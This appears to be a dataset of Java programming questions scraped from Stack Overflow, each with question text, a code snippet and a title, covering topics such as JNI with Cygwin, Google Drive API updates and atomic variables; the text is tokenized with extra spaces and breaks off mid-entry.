segment in Java ? +Java,"I wish to enable user defined Clojure scripts to interact with my Java App . The problem is , I do n't know in advance where the Clojure scripts will be located , so I ca n't include them in my classpath when running the app.How do I dynamically load a Clojure script from outside of my classpath ? I 've tried the simple example : with a test.clj that looks like : But no luck.I think it has something to do with RT.makeClassLoader ( ) or RT.baseLoader ( ) and using the returned loader to load the clojure file , but I can not seem to make it work . ( I keep getting ClassNotFound ) I could probably muddle through the javadoc for the clojure.lang.RT , but I simply could not find them .","RT.loadResourceScript ( `` test.clj '' ) ; Var foo = RT.var ( `` user '' , `` foo '' ) ; Object result = foo.invoke ( `` Hi '' , `` there '' ) ; System.out.println ( result ) ; ( ns user ) ( defn foo [ a b ] ( str a `` `` b ) )",How do I dynamically load a Clojure script from outside of my classpath from java ? +Java,"I implemented a ClassFileTransformer for a javaagent using ASM . Because it has some bugs , I want to write a JUnit test case for it . How do I do this ? Using pseudo-code I thought along the lines : Now the question is : How do I manually load and transform the subject and make the JVM/Classloader use my manipulated version of it ? Or do I completely miss something ?",// Have a test class as subjectpublic static class Subject { public void doSomething ( ) { ... } } // Manually load and transform the subject ... ? // Normally execute some now transformed methods of the subjectnew Subject ( ) .doSomething ( ) ; // Check the result of the call ( i.e . whether the correct attached methods were called ) Assert.assertTrue ( MyClassFileTransformer.wasCalled ( ) ) ;,How to test a ClassFileTransformer / javaagent ? +Java,"I 'm implementing an application which records and analyzes audio in real time ( or at least as close to real time as possible ) , using the JDK Version 8 Update 201 . While performing a test which simulates typical use cases of the application , I noticed that after several hours of recording audio continuously , a sudden delay of somewhere between one and two seconds was introduced . Up until this point there was no noticeable delay . It was only after this critical point of recording for several hours when this delay started to occur.What I 've tried so farTo check if my code for timing the recording of the audio samples is wrong , I commented out everything related to timing . This left me essentially with this update loop which fetches audio samples as soon as they are ready ( Note : Kotlin code ) : This is my read method : However , even without any timing from my side the problem was not resolved . Therefore , I went on to experiment a bit and let the application run using different audio formats , which lead to very confusing results ( I 'm going to use a PCM signed 16 bit stereo audio format with little endian and a sample rate of 44100.0 Hz as default , unless specified otherwise ) : The critical amount of time that has to pass before the delay appears seems to be different depending on the machine used . On my Windows 10 desktop PC it is somewhere between 6.5 and 7 hours . On my laptop ( also using Windows 10 ) however , it is somewhere between 4 and 5 hours for the same audio format.The amount of audio channels used seems to have an effect . If I change the amount of channels from stereo to mono , the time before the delay starts to appear is doubled to somewhere between 13 and 13.5 hours on my desktop.Decreasing the sample size from 16 bits to 8 bits also results in a doubling of the time before the delay starts to appear . Somewhere between 13 and 13.5 hours on my desktop.Changing the byte order from little endian to big endian has no effect.Switching from stereomix to a physical microphone has no effect either.I tried opening the line using different buffer sizes ( 1024 , 2048 and 3072 sample frames ) as well as its default buffer size . This also did n't change anything.Flushing the TargetDataLine after the delay has started to occur results in all bytes being zero for approximately one to two seconds . After this I get non-zero values again . The delay , however , is still there . If I flush the line before the critical point , I do n't get those zero-bytes.Stopping and restarting the TargetDataLine after the delay appeared also does not change anything.Closing and reopening the TargetDataLine , however , does get rid of the delay until it reappears after several hours from there on.Automatically flushing the TargetDataLines internal buffer every ten minutes does not help to resolve the issue . Therefore , a buffer overflow in the internal buffer does not seem to be the cause.Using a parallel garbage collector to avoid application freezes also does not help.The used sample rate seems to be important . If I double the sample rate to 88200 Hertz , the delay starts occurring somewhere between 3 and 3.5 hours of runtime.If I let it run under Linux using my `` default '' audio format , it still runs fine after about 9 hours of runtime.Conclusions that I 've drawn : These results let me come to the conclusion that the time for which I can record audio before this issue starts to happen is dependent on the machine on which the application is run and dependent on the byte rate ( i.e . frame size and sample rate ) of the audio format . This seems to hold true ( although I ca n't completely confirm this as of now ) because if I combine the changes made in 2 and 3 , I would assume that I can record audio samples for four times as long ( which would be somewhere between 26 and 27 hours ) as when using my `` default '' audio format before the delay starts to appear . As I did n't find the time to let the application run for this long yet , I can only tell that it did run fine for about 15 hours before I had to stop it due to time constraints on my side . So , this hypothesis is still to be confirmed or denied.According to the result of bullet point 13 , it seems like the whole issue only appears when using Windows . Therefore , I think that it might be a bug in the platform specific parts of the javax.sound.sampled API.Even though I think I might have found a way to change when this issue starts to happen , I 'm not satisfied with the result . I could periodically close and reopen the line to avoid the problem from starting to appear at all . However , doing this would result in some arbitrary small amount of time where I would n't be able to capture audio samples . Furthermore , the Javadoc states that some lines ca n't be reopened at all after being closed . Therefore , this is not a good solution in my case.Ideally , this whole issue should n't be happening at all . Is there something I am completely missing or am I experiencing limitations of what is possible with the javax.sound.sampled API ? How can I get rid of this issue at all ? Edit : By suggestion of Xtreme Biker and gidds I created a small example application . You can find it inside this Github repository .","while ( ! isInterrupted ) { val audioData = read ( sampleSize , false ) listener.audioFrameCaptured ( audioData ) } fun read ( samples : Int , buffered : Boolean = true ) : AudioData { //Allocate a byte array in which the read audio samples will be stored . val bytesToRead = samples * format.frameSize val data = ByteArray ( bytesToRead ) //Calculate the maximum amount of bytes to read during each iteration . val bufferSize = ( line.bufferSize / BUFFER_SIZE_DIVIDEND / format.frameSize ) .roundToInt ( ) * format.frameSize val maxBytesPerCycle = if ( buffered ) bufferSize else bytesToRead //Read the audio data in one or multiple iterations . var bytesRead = 0 while ( bytesRead < bytesToRead ) { bytesRead += ( line as TargetDataLine ) .read ( data , bytesRead , min ( maxBytesPerCycle , bytesToRead - bytesRead ) ) } return AudioData ( data , format ) }",Sudden delay while recording audio over long time periods inside the JVM +Java,"To verify a SSL certificate , I need to upload a hidden folder ( `` /.well-known '' containing some files to my application.I am deploying java application with eclipse , but these files do not receive at the application on appengine . I guess they are filtered out.I tried to add the hidden folder as static file to the appengine-web.xml , but it did not help.Any ideas how I could upload these folder and the files ?",< ! -- Configure serving/caching of GWT files -- > < static-files > < include path= '' ** '' / > < include path= '' . ** '' / > < include path= '' ** . * '' expiration= '' 0s '' / > < include path= '' **.well-known '' expiration= '' 0s '' / > < include path= '' **.nocache . * '' expiration= '' 0s '' / > < include path= '' **.cache . * '' expiration= '' 365d '' / > < include path= '' **.css '' expiration= '' 30d '' / > < exclude path= '' **.gwt.rpc '' / > < exclude path= '' **.html '' / > < /static-files >,Appengine - Deployment of hidden folder +Java,"Intro : I want to create a multithreaded android app . My problem is the communication between the threads . I read about communication between threads and I came across stuff like Looper/Handler design , which seemed quite involved and Atomic Variables like AtomicInteger . For now , I used AtomicInteger as a communication but since I am not very experienced in Java , I am not sure if that is bad in my case/ if there is a better solution for my particular purpose . Also I got a little suspicious of my method , when I noticed I need actually something like AtomicFloat , but it 's not existing . I felt like I am missusing the concept . I also found that you can make yourself an AtomicFloat , but I am just not sure if I am on the right way or if there is a better technique . Question : Is it ok/good to use Atomic Variables and implement also AtomicFloat for my particular purpose ( described below ) or is there a better way of handling the communication ? Purpose/Architecture of the App using AtomicVariables so far : I have 4 Threads with the following purpose:1.SensorThread : Reads sensor data and saves the most recent values in AtomicVariables like2.CommunicationThread : Communication with the PC , interprets commands which come form the socket and set the state of the app in terms of a AtomicInteger : AtomicInteger state ; 3.UIThread : Displays current sensor values from AtomicFloat gyro_z , AtomicFloat gyro_y , 4.ComputationThread : uses sensor values AtomicFloat gyro_z , AtomicFloat gyro_y , ... and state AtomicInteger state to perform calculation and send commands over USB .","AtomicFloat gyro_z , AtomicFloat gyro_y , ...",Multithread communication : how good is the use of Atomic Variables like AtomicInteger ? why is there no AtomicFloat ? +Java,"I 'm trying to make my first Java/C program using JNI . Here 's how 'my ' code looks - it 's copied from this website : C part : Through Cygwin , I succesfully didto create a header file like this : So far so good . I can also compile the C program using : Now I should be able to do to see output from C , but instead I 'm getting this error : What I have tried : Using -mno-cygwin flag when compiling , but since I have the newest version of Cygwin installed , it 's not supported anymore . Using -mno-cygwin flag with gcc-3 instead of gcc - but Cygwin does n't recognize gcc-3 command.Adding an environment variable . This seems to be the common solution , but somehow it does n't work for me . On my system , Cygwin is installed in D : \Programy\Cygwin , therefore the folder I added to PATH is D : \Programy\Cygwin\bin , as shown in the picture ( sorry for external link , I do n't have enough reputation to post pictures ) .From all the answers I 've read , this one should work , but it does n't . Is there a problem with Cygwin not being directly in C : \Cygwin ? Or am I doing something else wrong ? I checked the folder and there is cygwin1.dll , it 's not missing.I 'm running on Windows 8 , 64-bit . Version of Cygwin : 1.7.35-1 , installed the whole Devel package . GCC version is 4.9.2.Sorry for the long post , I just wanted to provide as much information as I could . I 've been stuck with this problem for several days now and will be glad for any advice.Edit : I just noticed that compiling my C file with gcc command as above does n't produce any executable file , which I find very strange . It also does n't throw any error or warning . Any ideas on this one ? Could that be the source of my trouble ? Edit 2 : I just found out this should not be an issue , I 'm actually making a library , not an executable file.Edit 3 : Okay , I 'm giving up . It seems like much bigger issue than I initially thought it would be . The reason this can not be done is that cygwin1.dll can not be dynamically loaded , because it needs 4k of bottom stack bytes to be free when it 's initializing - which might be a problem if it 's being called from JNI . There are some ways to overcome it ; if you 're looking for a solution , this post sums up nicely what needs to be done and this one can also be useful . For my project , it 's just not worth it - but good luck .","/* HelloWorld.java */public class HelloWorld { native void helloFromC ( ) ; static { System.loadLibrary ( `` ctest '' ) ; } static public void main ( String argv [ ] ) { HelloWorld helloWorld = new HelloWorld ( ) ; helloWorld.helloFromC ( ) ; } } /* ctest.c */ # include < jni.h > # include < stdio.h > JNIEXPORT void JNICALL Java_HelloWorld_helloFromC ( JNIEnv * env , jobject jobj ) { printf ( `` Hello from C ! \n '' ) ; } javac HelloWorld.javajavah HelloWorld /* DO NOT EDIT THIS FILE - it is machine generated */ # include < jni.h > /* Header for class HelloWorld */ # ifndef _Included_HelloWorld # define _Included_HelloWorld # ifdef __cplusplusextern `` C '' { # endif/* * Class : HelloWorld * Method : helloFromC * Signature : ( ) V */JNIEXPORT void JNICALL Java_HelloWorld_helloFromC ( JNIEnv * , jobject ) ; # ifdef __cplusplus } # endif # endif $ gcc -D __int64= '' long long '' -shared -I '' D : \Programy\Java\JDK 8u31\include '' -I '' D : \Programy\Java\JDK 8u31\include\win32 '' ctest.c -o ctest.dll java HelloWorld $ java HelloWorld # # A fatal error has been detected by the Java Runtime Environment : # # EXCEPTION_ACCESS_VIOLATION ( 0xc0000005 ) at pc=0x000000018011ae47 , pid=3156 , tid=1176 # # JRE version : Java ( TM ) SE Runtime Environment ( 8.0_31-b13 ) ( build 1.8.0_31-b13 ) # Java VM : Java HotSpot ( TM ) 64-Bit Server VM ( 25.31-b07 mixed mode windows-amd64 compressed oops ) # Problematic frame : # C [ cygwin1.dll+0xdae47 ] # # Failed to write core dump . Minidumps are not enabled by default on client versions of Windows # # An error report file with more information is saved as : # D : \Dokumenty\Fifth\src\hs_err_pid3156.log # # If you would like to submit a bug report , please visit : # http : //bugreport.java.com/bugreport/crash.jsp # The crash happened outside the Java Virtual Machine in native code. # See problematic frame for where to report the bug. #",Can not run C program from Java using Cygwin +Java,"Imagine the following scenario . You have a set of values which are already accessible and known . You have to put them into a HashMap for reasons . Code example : Is it really necessary to do it like this ? I ca n't believe that there is not a constructor which let you put in your values from scratch . I 'm talking about something like this : Or even something like this : Edit : My intention was to ask if there is a method but more importantly , if the answer is `` no '' , why there is n't such a constructor/method .","String a = `` a '' ; Strinb b = `` b '' ; ... HashMap map = new HashMap ( 5 ) ; map.put ( `` a '' , a ) ; map.put ( `` b '' , b ) ; ... HashMap map = new HashMap ( < `` a '' , a > , < `` b '' , b > , ... ) ; HashMap map = new HashMap ( 5 ) ; HashMap.putBunchOfStuff ( `` a '' , a , `` b '' , b , ... ) ;",Java HashMap - Is it necessary to use .put ( ) for each set ? +Java,"I have the following class , which as you will see has rather a rather redundant formatNameAndAddress method : I 'd like to rewrite the class to use a generic method like : But , I ca n't do this exactly like this because Object does n't have print ( ) and println ( ) methods . If I cast the output to either JspWriter or PrintWriter , I 'd be casting it the wrong way sometimes.I imagine what I need to do is somehow pass the object type as a variable and then use the variable to determine how to cast . Is this possible ? If so , how ? If not , what would be a good solution ?","package hu.flux.helper ; import java.io.PrintWriter ; import javax.servlet.jsp.JspWriter ; // A holder for formatting data public class NameAndAddress { public String firstName ; public String middleName ; public String lastName ; public String address1 ; public String address2 ; public String city ; public String state ; public String zip ; // Print out the name and address . public void formatNameAndAddress ( JspWriter out ) throws java.io.IOException { out.println ( `` < PRE > '' ) ; out.print ( firstName ) ; // Print the middle name only if it contains data . if ( ( middleName ! = null ) & & ( middleName.length ( ) > 0 ) ) { out.print ( `` `` + middleName ) ; } out.println ( `` `` + lastName ) ; out.println ( `` `` + address1 ) ; if ( ( address2 ! = null ) & & ( address2.length ( ) > 0 ) ) out.println ( `` `` + address2 ) ; out.println ( city + `` , `` + state + `` `` + zip ) ; out.println ( `` < /PRE > '' ) ; } public void formatName ( PrintWriter out ) { out.println ( `` < PRE > '' ) ; out.print ( firstName ) ; // Print the middle name only if it contains data . if ( ( middleName ! = null ) & & ( middleName.length ( ) > 0 ) ) { out.print ( `` `` + middleName ) ; } out.println ( `` `` + lastName ) ; out.println ( `` `` + address1 ) ; if ( ( address2 ! = null ) & & ( address2.length ( ) > 0 ) ) out.println ( `` `` + address2 ) ; out.println ( city + `` , `` + state + `` `` + zip ) ; out.println ( `` < /PRE > '' ) ; } } // Print out the name and address . private void genericFormatNameAndAddress ( Object out ) { out.println ( `` < PRE > '' ) ; out.print ( firstName ) ; // Print the middle name only if it contains data . if ( ( middleName ! = null ) & & ( middleName.length ( ) > 0 ) ) { out.print ( `` `` + middleName ) ; } out.println ( `` `` + lastName ) ; out.println ( `` `` + address1 ) ; if ( ( address2 ! = null ) & & ( address2.length ( ) > 0 ) ) out.println ( `` `` + address2 ) ; out.println ( city + `` , `` + state + `` `` + zip ) ; out.println ( `` < /PRE > '' ) ; }","In Java , can I consolidate two similar functions where uses JspWriter and the other PrintWriter ?" +Java,This is from Professor Mark Weiss in his book Data Structures and Algorithm Analysis in JavaI was wondering why do we declare an array with a type of interface Comparable since we have to convert the Comparable [ ] to an AnyType [ ] ? Any design philosophy in there ?,public class BinaryHeap < AnyType extends Comparable < ? super AnyType > > { private void enlargeArray ( int newSize ) { AnyType [ ] old = array ; array = ( AnyType [ ] ) new Comparable [ newSize ] ; for ( int i = 0 ; i < old.length ; i++ ) array [ i ] = old [ i ] ; } },Java - Why declare an array as a type of Interface ? +Java,"I 'm attempting to use the Python library for Pub/Sub , but I keep getting this error : TypeError : Incorrect padding . Some quick googling revealed this issue : https : //github.com/GoogleCloudPlatform/google-cloud-python/pull/2527However , this does n't resolve the issue - in fact , printing out the data revealed that the data was not even base64 encoded at all , and setting data = raw_data in the library resolved the issue.We 're sending the message from Java , here is the code we 're using : however , the same thing happens attempting to send a message through the console.Has something changed recently to mean that data is no longer base64 encoded ?",PCollection < String > userActionsJson = userActionsRaw.apply ( ParDo.of ( new BigQueryRowToJson ( ) ) ) ; String topicNameFull = `` projects/ '' + options.getProject ( ) + `` /topics/ '' + options.getUsersActionsTopicName ( ) + `` - '' + options.getProduct ( ) ; userActionsJson.apply ( PubsubIO.Write.named ( `` PublishToPubSub '' ) .topic ( topicNameFull ) ) ;,Getting unencoded data from Google cloud Pub/Sub instead of base64 +Java,"Imagine this case where I have an object that I need to check a property.However , the object can currently have a null value.How can I check these two conditions in a single `` if '' condition ? Currently , I have to do something like this : I would like something like this : I want to evaluate the second condition only if the first was true.Maybe I 'm missing something , and that 's why I need your help ; - )",if ( myObject ! = null ) { if ( myObject.Id ! = pId ) { myObject.Id = pId ; myObject.Order = pOrder ; } } if ( myObject ! = null & & myObject.Id ! = pId ),Chained IF structure +Java,"I 'm wondering if a getter method for a private boolean field forces the other threads to get the latest updated value ? Is this an alternative for volatile field ? For example : vsEdit : Is it true that the entire object is cached by a thread ( including the private field ) , so that when I call the getter it will return the cached private field ?",Class A { private boolean flag ; public boolean getFlag ( ) { return this.flag ; } public void setFlag ( boolean flag ) { this.flag = flag ; } } Class B { public volatile boolean flag ; },Is getter method an alternative to volatile in Java ? +Java,"I have a C API that I 'm trying to use within Clojure , through the JNA API . My issue can best be demonstrated with the following example . Say I have this C code in a library : In this example , I 'd like to call createStruct , and then pass that result to addStruct . The important point here is that MyStruct is passed by value as both a return type and an argument . At no point do I need to actually read the values of the fields in MyStruct.Additionally , in my system , native functions are wrapped like this : The goal is to get a type to substitute for Integer above that will wrap MyStruct as a value.The only resource that I 've found covering this subject is this article , but it only discusses how to pass structs by reference.Given that , here are the different approaches I 've tried to take to solve this problem : Create a class that inherits from Structure , which is JNA 's built-in mechanism for creating and using structs . Given the information on that page , I tried to create the following class using only Clojure : deftype does n't work for this scenario , since the class needs to inherit from the abstract class Structure , and gen-class does n't work because the class needs to have the public non-static fields foo , bar and baz.From what I can tell , none of the standard Clojure Java interop facilities can create the above class.Create a class that inherits from Structure and override the struct field getter/setter methods . Since gen-class is ( I believe ) the only Clojure construct that allows for direct inheritance , and it does n't support multiple public non-static fields , the next alternative is to simply not use fields at all . Looking at the Structure abstract class documentation , it seems like there 's a concoction of overrides possible to use 'virtual ' struct fields , such that it really gets and sets data from a different source ( such as the state field from gen-class ) . Looking through the documentation , it seems like overriding readField , writeField , and some other methods may have the intended effect , but the I was unclear how to do this from reading the documentation , and I could n't find any similar examples online.Use a different storage class . JNA has a myriad of classes for wrapping native types . I 'm wondering if , rather than defining and using a Structure class , I could use another generic class that can take an arbitrary number of bits ( like how Integer can hold anything that 's 4 bits wide , regardless of what type the source 'actually ' is ) . Is it possible to , for example , say that a function returns an array of bytes of length 16 ( since sizeof ( MyStruct ) is 16 ) ? What about wrapping a fixed-size array in a container class that implements NativeMapped ? I could n't find examples of how to do either .",typedef struct { int foo ; int bar ; double baz ; } MyStruct ; MyStruct createStruct ( ) { MyStruct myStruct ; myStruct.foo = 3 ; myStruct.bar = 4 ; myStruct.baz = 3.14 ; return myStruct ; } double addStruct ( MyStruct myStruct ) { return myStruct.foo + myStruct.bar + myStruct.baz ; } ; ` quux ` is defined in ` some-lib ` and returns an ` int ` ( let [ fn- ( com.sun.jna.Function/getFunction `` some-lib '' `` quux '' ) ] ( fn [ & args ] ( .invoke fn- Integer ( to-array args ) ) ) ) class MyStruct extends Structure implements Structure.ByValue { int foo ; int bar ; double baz ; },Getting and passing structs by value in Clojure with JNA +Java,"I am working on a piece of code with Iterator and getting a ConcurrentModificationException at the line a when I run the program from my IDE on windows -- This is expected because Im modifying the list while I 'm iterating so the fail-fast iterator throws a Concurrentmodification exception . However , when I run this code in unix with apache server , the next method of the iterator does-not throw any exception . So , does the concurrentmodification exception depend on OS level ?",LinkedList ll =new LinkedList ( ) ; . . . . . . Iterator iter = ll.iterator ( ) ; int i=0 ; while ( iter.hasNext ( ) ) { // GrammarSection agrammarSection = ( GrammarSection ) iter.next ( ) ; //a String s1 = ( String ) iter.next ( ) ; ll.remove ( i ) ; i++ ; },Is throwing ConcurrentModificationException system dependent +Java,"I 've got a project that was originally written for Java 1.4 , but I only have Java 6 on my Mac and I can not install Java 1.4.Normally , I 'd use a line like this to compile : However , MyClass.java implements the java.sql.ResultSet interface , which added several new methods in Java 6 , so I get compile errors like : I can not simply implement the missing methods because many use generics , which are not available in Java 1.4.It seems a solution would be to obtain and compile against the Java 1.4 JARs . So , I 've got a few questions : Is there a better way ? How do I specify to my Java 1.6 javac that I 'd like to use the 1.4 JARs instead of the Java 6 JARs ? Will this even work , and if so , will the project run on Java 1.4 as well as Java 6 ? How do I do this in Maven ? Thanks !","javac -source=1.4 -target=1.4 MyClass.java MyClass is not abstract and does not override abstract methodupdateNClob ( java.lang.String , java.io.Reader ) in java.sql.ResultSet",How do I build a Java project with Java 6 against Java 1.4 libraries ? +Java,"I have String template Even if I provide all the three arguments still not workingThe output is : See output , Its outputting the { 2 } instead of 3 , I can not find why it is not working . Is it a bug or I am missing something ?","xxxxxxxx xxxxx-xx : [ { 0 } ] xxxxxxx xxxxx xxxxxx xxxxxx [ { 1 } ] xxxxxx xxxx xxxxx ' x xxxxx xxxxxx xxxx [ { 2 } ] public static void main ( String [ ] args ) { String s = `` xxxxxxxx xxxxx-xx : [ { 0 } ] xxxxxxx xxxxx xxxxxx xxxxxx [ { 1 } ] xxxxxx xxxx xxxxx ' x xxxxx xxxxxx xxxx [ { 2 } ] '' ; System.out.println ( MessageFormat.format ( s , '' 1 '' , '' 2 '' , '' 3 '' ) ) ; } xxxxxxxx xxxxx-xx : [ 1 ] xxxxxxx xxxxx xxxxxx xxxxxx [ 2 ] xxxxxx xxxx xxxxxx xxxxx xxxxxx xxxx [ { 2 } ]",Java Message Formatter is not working +Java,"Previously , I have a set of Google Drive API code , which works fine in the following scenariosSave new file to appdataUpdate previous file in appdataSave new file to non-appdataUpdate previous file in non-appdataFew days ago , I encounter scenario 2 no longer work ( Update previous file in appdata ) , whereas other scenarios still work without problem . I will be getting the following exception.I 'm using both DRIVE and DRIVE_APPDATA scope - authorizeDrive ( ) The code is as followsaveToGoogleDrive ( ) - Save or update file in appdata , does n't work during update file . Work during saving new file.saveToLegacyGoogleDrive ( ) - Save or update file in non-appdata , all works ! Exception is being thrown at Line 1414 , which isSearching previous file in appdata using query title contains 'jstock-fe78440e-e0fe-4efb ' and trashed = false and 'appdata ' in parents is completely fine . We 're able to retrieve the previous file id without problem . However , 500 Internal Server Error is being thrown , when we perform file updating using retrieved file id.Some users encountered problem during searching in appdata ( which is not my case ) . Search folder inside 'appdata ' folder The suggested workaround is to add drive.readonly.metadata . I had tried that once , but it makes no difference.UpdateAn excellent workaround proposed by Jon Skeet I 've managed to reproduce the issue . Without setNewRevision ( false ) it works - I realize that may not be feasible in all cases , but is it a reasonable workaround for you for the moment ? However , I will on hold on such workaround at this moment . We prefer to have setNewRevision ( false ) , to prevent from causing increased use of the user 's data storage quota - http : //developers.google.com/drive/v2/reference/files/updateShort but complete source code to demonstrate the problemCreate a client id & secret key . Update source code.Create a document.txtRun the source code first time , to upload document.txt to appdata folder . It should success . Check your uploaded file through online Google Drive . ( Please refer to attachment ) Run the source code for second time , to perform update on previous document.txt in appdata folder . The 500 Internal Server Error exception should be thrown.Update on 1 January 2016This problem seems gone . I guess Google Drive team had fixed it .","com.google.api.client.googleapis.json.GoogleJsonResponseException : 500 Internal Server Error { `` code '' : 500 , `` errors '' : [ { `` domain '' : `` global '' , `` message '' : `` Internal Error '' , `` reason '' : `` internalError '' } ] , `` message '' : `` Internal Error '' } at com.google.api.client.googleapis.json.GoogleJsonResponseException.from ( GoogleJsonResponseException.java:145 ) at com.google.api.client.googleapis.services.json.AbstractGoogleJsonClientRequest.newExceptionOnError ( AbstractGoogleJsonClientRequest.java:113 ) at com.google.api.client.googleapis.services.json.AbstractGoogleJsonClientRequest.newExceptionOnError ( AbstractGoogleJsonClientRequest.java:40 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest.executeUnparsed ( AbstractGoogleClientRequest.java:423 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest.executeUnparsed ( AbstractGoogleClientRequest.java:343 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest.execute ( AbstractGoogleClientRequest.java:460 ) at org.yccheok.jstock.gui.Utils.updateFile ( Utils.java:1414 ) com.google.api.services.drive.model.File updatedFile = service.files ( ) .update ( fileId , file , mediaContent ) .setNewRevision ( false ) .execute ( ) ; /* * To change this license header , choose License Headers in Project Properties . * To change this template file , choose Tools | Templates * and open the template in the editor . */package insert ; import com.google.api.client.auth.oauth2.Credential ; import com.google.api.client.googleapis.auth.oauth2.GoogleAuthorizationCodeFlow ; import com.google.api.client.googleapis.auth.oauth2.GoogleCredential ; import com.google.api.client.googleapis.auth.oauth2.GoogleTokenResponse ; import com.google.api.client.googleapis.javanet.GoogleNetHttpTransport ; import com.google.api.client.http.FileContent ; import com.google.api.client.http.HttpTransport ; import com.google.api.client.json.gson.GsonFactory ; import com.google.api.services.drive.Drive ; import com.google.api.services.drive.DriveScopes ; import com.google.api.services.drive.model.FileList ; import com.google.api.services.drive.model.ParentReference ; import java.io.BufferedReader ; import java.io.IOException ; import java.io.InputStreamReader ; import java.security.GeneralSecurityException ; import java.util.Arrays ; import org.apache.commons.logging.Log ; import org.apache.commons.logging.LogFactory ; public class Insert { private static com.google.api.services.drive.model.File searchFromGoogleDrive ( Drive drive , String qString ) { try { Drive.Files.List request = drive.files ( ) .list ( ) .setQ ( qString ) ; do { FileList fileList = request.execute ( ) ; com.google.api.services.drive.model.File file = null ; for ( com.google.api.services.drive.model.File f : fileList.getItems ( ) ) { final String title = f.getTitle ( ) ; if ( title == null || f.getDownloadUrl ( ) == null || f.getDownloadUrl ( ) .length ( ) < = 0 ) { continue ; } file = f ; break ; } if ( file ! = null ) { return file ; } request.setPageToken ( fileList.getNextPageToken ( ) ) ; } while ( request.getPageToken ( ) ! = null & & request.getPageToken ( ) .length ( ) > 0 ) ; } catch ( IOException ex ) { log.error ( null , ex ) ; return null ; } return null ; } public static boolean saveToGoogleDrive ( Credential credential , java.io.File file ) { final String titleName = `` document.txt '' ; final String qString = `` title contains ' '' + titleName + `` ' and trashed = false and 'appdata ' in parents '' ; return _saveToGoogleDrive ( credential , file , qString , `` appdata '' ) ; } public static Drive getDrive ( Credential credential ) { Drive service = new Drive.Builder ( httpTransport , JSON_FACTORY , credential ) .setApplicationName ( `` JStock '' ) .build ( ) ; return service ; } private static boolean _saveToGoogleDrive ( Credential credential , java.io.File file , String qString , String folder ) { Drive drive = getDrive ( credential ) ; // Should we new or replace ? com.google.api.services.drive.model.File googleCloudFile = searchFromGoogleDrive ( drive , qString ) ; final String title = `` document.txt '' ; if ( googleCloudFile == null ) { String id = null ; if ( folder ! = null ) { com.google.api.services.drive.model.File appData ; try { appData = drive.files ( ) .get ( folder ) .execute ( ) ; id = appData.getId ( ) ; } catch ( IOException ex ) { log.error ( null , ex ) ; return false ; } } return null ! = insertFile ( drive , title , id , file ) ; } else { final com.google.api.services.drive.model.File oldFile = googleCloudFile ; return null ! = updateFile ( drive , oldFile.getId ( ) , title , file ) ; } } /** * Insert new file . * * @ param service Drive API service instance . * @ param title Title of the file to insert , including the extension . * @ param parentId Optional parent folder 's ID . * @ param mimeType MIME type of the file to insert . * @ param filename Filename of the file to insert . * @ return Inserted file metadata if successful , { @ code null } otherwise . */ private static com.google.api.services.drive.model.File insertFile ( Drive service , String title , String parentId , java.io.File fileContent ) { // File 's metadata . com.google.api.services.drive.model.File body = new com.google.api.services.drive.model.File ( ) ; body.setTitle ( title ) ; // Set the parent folder . if ( parentId ! = null & & parentId.length ( ) > 0 ) { body.setParents ( Arrays.asList ( new ParentReference ( ) .setId ( parentId ) ) ) ; } // File 's content . FileContent mediaContent = new FileContent ( `` '' , fileContent ) ; try { com.google.api.services.drive.model.File file = service.files ( ) .insert ( body , mediaContent ) .execute ( ) ; return file ; } catch ( IOException e ) { log.error ( null , e ) ; return null ; } } /** * Update an existing file 's metadata and content . * * @ param service Drive API service instance . * @ param fileId ID of the file to update . * @ param newTitle New title for the file . * @ param newFilename Filename of the new content to upload . * @ return Updated file metadata if successful , { @ code null } otherwise . */ private static com.google.api.services.drive.model.File updateFile ( Drive service , String fileId , String newTitle , java.io.File fileContent ) { try { // First retrieve the file from the API . com.google.api.services.drive.model.File file = service.files ( ) .get ( fileId ) .execute ( ) ; // File 's new metadata . file.setTitle ( newTitle ) ; FileContent mediaContent = new FileContent ( `` '' , fileContent ) ; // Send the request to the API . com.google.api.services.drive.model.File updatedFile = service.files ( ) .update ( fileId , file , mediaContent ) .setNewRevision ( false ) .execute ( ) ; return updatedFile ; } catch ( IOException e ) { log.error ( null , e ) ; return null ; } } private static String CLIENT_ID = `` CLIENT_ID '' ; private static String CLIENT_SECRET = `` CLIENT_SECRET '' ; private static String REDIRECT_URI = `` urn : ietf : wg : oauth:2.0 : oob '' ; public static void main ( String [ ] args ) throws IOException { GoogleAuthorizationCodeFlow flow = new GoogleAuthorizationCodeFlow.Builder ( httpTransport , JSON_FACTORY , CLIENT_ID , CLIENT_SECRET , Arrays.asList ( DriveScopes.DRIVE_APPDATA , DriveScopes.DRIVE ) ) .setAccessType ( `` online '' ) .setApprovalPrompt ( `` auto '' ) .build ( ) ; String url = flow.newAuthorizationUrl ( ) .setRedirectUri ( REDIRECT_URI ) .build ( ) ; System.out.println ( `` Please open the following URL in your browser then type the authorization code : '' ) ; System.out.println ( `` `` + url ) ; BufferedReader br = new BufferedReader ( new InputStreamReader ( System.in ) ) ; String code = br.readLine ( ) ; GoogleTokenResponse response = flow.newTokenRequest ( code ) .setRedirectUri ( REDIRECT_URI ) .execute ( ) ; GoogleCredential credential = new GoogleCredential ( ) .setFromTokenResponse ( response ) ; java.io.File fileContent = new java.io.File ( `` document.txt '' ) ; saveToGoogleDrive ( credential , fileContent ) ; } private static final GsonFactory JSON_FACTORY = GsonFactory.getDefaultInstance ( ) ; /** Global instance of the HTTP transport . */ private static HttpTransport httpTransport ; private static final Log log = LogFactory.getLog ( Insert.class ) ; static { try { // initialize the transport httpTransport = GoogleNetHttpTransport.newTrustedTransport ( ) ; } catch ( IOException ex ) { log.error ( null , ex ) ; } catch ( GeneralSecurityException ex ) { log.error ( null , ex ) ; } } }",Unable update file store in appdata scope - 500 Internal Server Error +Java,"I am using an interface that looks something along the lines of this : And I am currently using an anonymous class to implement the interface , but I do n't care about one of the two methods . Something along the lines of this : Now , I 've been using the new lambda expressions in Java 8 wherever I 'm able , and I would like to use the added simplicity in a situation like this . After all , I 'm only implementing one of the methods , but since there are two methods in the interface , I ca n't use it in a lambda expression.Is there a way for me to get around this restriction ?",public interface ObjectListener { public void objectAdded ( Object o ) ; public void objectRemoved ( Object o ) ; } someObject.addListener ( new ObjectListener ( ) { @ Override public void objectAdded ( Object o ) { doSomething ( o ) ; } @ Override public void objectRemoved ( Object o ) { } } ) ;,Is there a way to turn an existing interface into a functional interface ? +Java,"I know the first thing you are 